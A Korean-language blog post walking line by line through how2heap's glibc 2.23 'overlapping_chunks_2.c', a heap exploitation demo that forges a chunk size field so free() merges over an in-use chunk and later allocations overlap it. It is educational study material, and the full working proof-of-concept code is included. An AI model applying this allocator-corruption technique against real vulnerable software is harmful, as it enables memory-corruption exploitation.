2025. 5. 12. 19:01ㆍHacking/Pwnable
마찬가지로 레거시이다. 패치버전 코드도 된다면 뜯어봐야겠다.
원문 링크 : https://github.com/shellphish/how2heap/blob/master/glibc_2.23/overlapping_chunks_2.c
how2heap/glibc_2.23/overlapping_chunks_2.c at master · shellphish/how2heap
A repository for learning various heap exploitation techniques. - shellphish/how2heap
github.com
overlapping_chunks_2.c
/*
Yet another simple tale of overlapping chunk.
This technique is taken from
https://loccs.sjtu.edu.cn/wiki/lib/exe/fetch.php?media=gossip:overview:ptmalloc_camera.pdf.
This is also referenced as Nonadjacent Free Chunk Consolidation Attack.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
int main(){
intptr_t *p1,*p2,*p3,*p4,*p5,*p6;
unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6;
int prev_in_use = 0x1;
fprintf(stderr, "\nThis is a simple chunks overlapping problem");
fprintf(stderr, "\nThis is also referenced as Nonadjacent Free Chunk Consolidation Attack\n");
fprintf(stderr, "\nLet's start to allocate 5 chunks on the heap:");
p1 = malloc(1000);
p2 = malloc(1000);
p3 = malloc(1000);
p4 = malloc(1000);
p5 = malloc(1000);
real_size_p1 = malloc_usable_size(p1);
real_size_p2 = malloc_usable_size(p2);
real_size_p3 = malloc_usable_size(p3);
real_size_p4 = malloc_usable_size(p4);
real_size_p5 = malloc_usable_size(p5);
fprintf(stderr, "\n\nchunk p1 from %p to %p", p1, (unsigned char *)p1+malloc_usable_size(p1));
fprintf(stderr, "\nchunk p2 from %p to %p", p2, (unsigned char *)p2+malloc_usable_size(p2));
fprintf(stderr, "\nchunk p3 from %p to %p", p3, (unsigned char *)p3+malloc_usable_size(p3));
fprintf(stderr, "\nchunk p4 from %p to %p", p4, (unsigned char *)p4+malloc_usable_size(p4));
fprintf(stderr, "\nchunk p5 from %p to %p\n", p5, (unsigned char *)p5+malloc_usable_size(p5));
memset(p1,'A',real_size_p1);
memset(p2,'B',real_size_p2);
memset(p3,'C',real_size_p3);
memset(p4,'D',real_size_p4);
memset(p5,'E',real_size_p5);
fprintf(stderr, "\nLet's free the chunk p4.\nIn this case this isn't coealesced with top chunk since we have p5 bordering top chunk after p4\n");
free(p4);
fprintf(stderr, "\nLet's trigger the vulnerability on chunk p1 that overwrites the size of the in use chunk p2\nwith the size of chunk_p2 + size of chunk_p3\n");
*(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; //<--- BUG HERE
fprintf(stderr, "\nNow during the free() operation on p2, the allocator is fooled to think that \nthe nextchunk is p4 ( since p2 + size_p2 now point to p4 ) \n");
fprintf(stderr, "\nThis operation will basically create a big free chunk that wrongly includes p3\n");
free(p2);
fprintf(stderr, "\nNow let's allocate a new chunk with a size that can be satisfied by the previously freed chunk\n");
p6 = malloc(2000);
real_size_p6 = malloc_usable_size(p6);
fprintf(stderr, "\nOur malloc() has been satisfied by our crafted big free chunk, now p6 and p3 are overlapping and \nwe can overwrite data in p3 by writing on chunk p6\n");
fprintf(stderr, "\nchunk p6 from %p to %p", p6, (unsigned char *)p6+real_size_p6);
fprintf(stderr, "\nchunk p3 from %p to %p\n", p3, (unsigned char *) p3+real_size_p3);
fprintf(stderr, "\nData inside chunk p3: \n\n");
fprintf(stderr, "%s\n",(char *)p3);
fprintf(stderr, "\nLet's write something inside p6\n");
memset(p6,'F',1500);
fprintf(stderr, "\nData inside chunk p3: \n\n");
fprintf(stderr, "%s\n",(char *)p3);
}
/*
Yet another simple tale of overlapping chunk.
This technique is taken from
https://loccs.sjtu.edu.cn/wiki/lib/exe/fetch.php?media=gossip:overview:ptmalloc_camera.pdf.
This is also referenced as Nonadjacent Free Chunk Consolidation Attack.
*/
https://loccs.sjtu.edu.cn/wiki/lib/exe/fetch.php?media=gossip:overview:ptmalloc_camera.pdf
이 문서 참고하라는 주석문
intptr_t *p1,*p2,*p3,*p4,*p5,*p6;
unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6;
int prev_in_use = 0x1;
fprintf(stderr, "\nThis is a simple chunks overlapping problem");
fprintf(stderr, "\nThis is also referenced as Nonadjacent Free Chunk Consolidation Attack\n");
fprintf(stderr, "\nLet's start to allocate 5 chunks on the heap:");
p1 = malloc(1000);
p2 = malloc(1000);
p3 = malloc(1000);
p4 = malloc(1000);
p5 = malloc(1000);
-> overlapping 문제에 대한 chunk 예시이다.
-> 참고문헌 : Nonadjacent Free Chunk Consolidation Attack
-> heap의 5개의 chunk에 할당하면서 시작한다.
real_size_p1 = malloc_usable_size(p1);
real_size_p2 = malloc_usable_size(p2);
real_size_p3 = malloc_usable_size(p3);
real_size_p4 = malloc_usable_size(p4);
real_size_p5 = malloc_usable_size(p5);
-> 안전상의 이유로 요청 데이터 크기보다 크게 잡는다.
fprintf(stderr, "\n\nchunk p1 from %p to %p", p1, (unsigned char *)p1+malloc_usable_size(p1));
fprintf(stderr, "\nchunk p2 from %p to %p", p2, (unsigned char *)p2+malloc_usable_size(p2));
fprintf(stderr, "\nchunk p3 from %p to %p", p3, (unsigned char *)p3+malloc_usable_size(p3));
fprintf(stderr, "\nchunk p4 from %p to %p", p4, (unsigned char *)p4+malloc_usable_size(p4));
fprintf(stderr, "\nchunk p5 from %p to %p\n", p5, (unsigned char *)p5+malloc_usable_size(p5));
- p1~p5 각각에 대해 시작 주소와 끝 주소를 출력하고 chunk간의 상대적 위치를 알 수 있는 지표가 되며 나중에 어떤 chunk가 다른 chunk의 영역와 겹쳤는지(Overlap) 시각적으로 확인할 수 있음
memset(p1,'A',real_size_p1);
memset(p2,'B',real_size_p2);
memset(p3,'C',real_size_p3);
memset(p4,'D',real_size_p4);
memset(p5,'E',real_size_p5);
-> 메모리 겹침(overlap)이 실제로 발생했는지 눈으로 보기 위해서 각 chunk를 특정 문자('A' ~ 'E')로 채움
fprintf(stderr, "\nLet's free the chunk p4.\nIn this case this isn't coealesced with top chunk since we have p5 bordering top chunk after p4\n");
-> chunk p4를 free하자. 이 경우 p4 뒤에 최상위 chunk와 경계를 이루는 p5가 있으므로 top chunk와 병합(coalesce)되지 않는다. 왜냐하면 p4 바로 뒤에 top chunk가 아니라 p5가 있기 때문이다.
free(p4);
-> p4를 해제한다.
fprintf(stderr, "\nLet's trigger the vulnerability on chunk p1 that overwrites the size of the in use chunk p2\nwith the size of chunk_p2 + size of chunk_p3\n");
*(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; //<--- BUG HERE
fprintf(stderr, "\nNow during the free() operation on p2, the allocator is fooled to think that \nthe nextchunk is p4 ( since p2 + size_p2 now point to p4 ) \n");
fprintf(stderr, "\nThis operation will basically create a big free chunk that wrongly includes p3\n");
free(p2);
fprintf(stderr, "\nNow let's allocate a new chunk with a size that can be satisfied by the previously freed chunk\n");
p6 = malloc(2000);
real_size_p6 = malloc_usable_size(p6);
fprintf(stderr, "\nLet's trigger the vulnerability on chunk p1 that overwrites the size of the in use chunk p2\nwith the size of chunk_p2 + size of chunk_p3\n");
- 이제 청크 p1에서 취약점이 발생했다고 가정하자. 이 취약점은 사용 중인 청크 p2의 size 필드를 덮어쓰는데, 덮어쓰는 값은 p2의 원래 크기 + p3의 크기이다.
*(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2;
p1 + real_size_p1 -> p1의 끝, 즉 p2의 size 필드인데 여기에 다음 값을 덮는다.
real_size_p2 + real_size_p3 // fake size: p2 + p3 크기
+ prev_in_use // 안정성 유지: LSB는 1로
+ sizeof(size_t) * 2 // 메타데이터 정렬 보정
- p2는 아주 큰 chunk이고, 그 다음 청크(p4)와 인접해 있다고 착각하게 된다.
fprintf(stderr, "\nNow during the free() operation on p2, the allocator is fooled to think that \nthe nextchunk is p4 ( since p2 + size_p2 now point to p4 ) \n");
fprintf(stderr, "\nThis operation will basically create a big free chunk that wrongly includes p3\n");
free(p2);
- 이제 p2를 free하면, glibc는 p3가 free 상태라고 착각하여 p2와 p3를 병합한다.
- 실제로는 p3가 할당 중인 상태이지만 조작된 p2->size 때문에 p2+size=p4위치로 이동후 p3를 건너뛰고 p2와 p4가 인접한 free chunk라고 인식하게 된다. 따라서 p2와 p3를 병합해 하나의 큰 free chunk로 만들어버린다.
fprintf(stderr, "\nNow let's allocate a new chunk with a size that can be satisfied by the previously freed chunk\n");
p6 = malloc(2000);
real_size_p6 = malloc_usable_size(p6);
- 방금 생성된 조작된 대형 free chunk(p2+p3)에서 malloc(2000)을 만족하고 p6는 p3와 겹치는 부분까지 포함된 메모리를 차지하게 된다. p3와 p6가 메모리 상에서 겹치게(overlap)된다.
fprintf(stderr, "\nOur malloc() has been satisfied by our crafted big free chunk, now p6 and p3 are overlapping and \nwe can overwrite data in p3 by writing on chunk p6\n");
- malloc()은 우리가 조작해서 만든 큰 free chunk에서 메모리를 할당받았다. 이제 p6와 p3은 메모리에서 겹치고 있으므로, p6에 데이터를 쓰면 p3의 데이터도 덮을 수 있다.
fprintf(stderr, "\nchunk p6 from %p to %p", p6, (unsigned char *)p6 + real_size_p6);
fprintf(stderr, "\nchunk p3 from %p to %p\n", p3, (unsigned char *)p3 + real_size_p3);
- 각각의 chunk 주소 범위를 출력하고 p6과 p3이 물리적으로 겹치는지 확인을 할 수 있는데 보통 p6의 시작점이 p2, 끝점이 p3까지 닿는 형태로 overlap에 성공하게 된다.
fprintf(stderr, "\nData inside chunk p3: \n\n");
fprintf(stderr, "%s\n",(char *)p3);
- p3 chunk 내 데이터를 보여준다.
- p3은 앞서 'C' 문자로 초기화되었기 때문에 여기서 "CCCCCCCC..." 형태의 문자열이 출력될 것
fprintf(stderr, "\nLet's write something inside p6\n");
memset(p6, 'F', 1500);
- p6에 데이터 덮어쓰기
- p6의 앞쪽 1500바이트를 'F'로 채우고 이 범위가 p3과 겹친다면 p3의 데이터도 바뀌어야한다.
fprintf(stderr, "\nData inside chunk p3: \n\n");
fprintf(stderr, "%s\n",(char *)p3);
- 다시 p3 내용 확인하는 코드인데, "FFFFFF..."처럼 C가 아닌 다른 문자로 바뀌어 있어야 함. 이 방식으로 p6에 쓴 내용이 p3에 반영되었음을 시각적으로 확인할 수 있다.
'Hacking > Pwnable' 카테고리의 다른 글
[포너블] 레지스터 역할 및 기능 (0) | 2025.05.15 |
---|---|
[Hacking] / [Pwnable - How2Heap] Heap exploitation : mmap_overlapping_chunks.c (1) | 2025.05.12 |
[Hacking] / [Pwnable - How2Heap] Heap exploitation : overlapping_chunks.c (0) | 2025.05.12 |
[Hacking] / [Pwnable - How2Heap] Heap exploitation : house_of_lore.c (0) | 2025.05.12 |
[Hacking] / [Pwnable - How2Heap] Heap exploitation : house_of_spirit.c (0) | 2025.05.12 |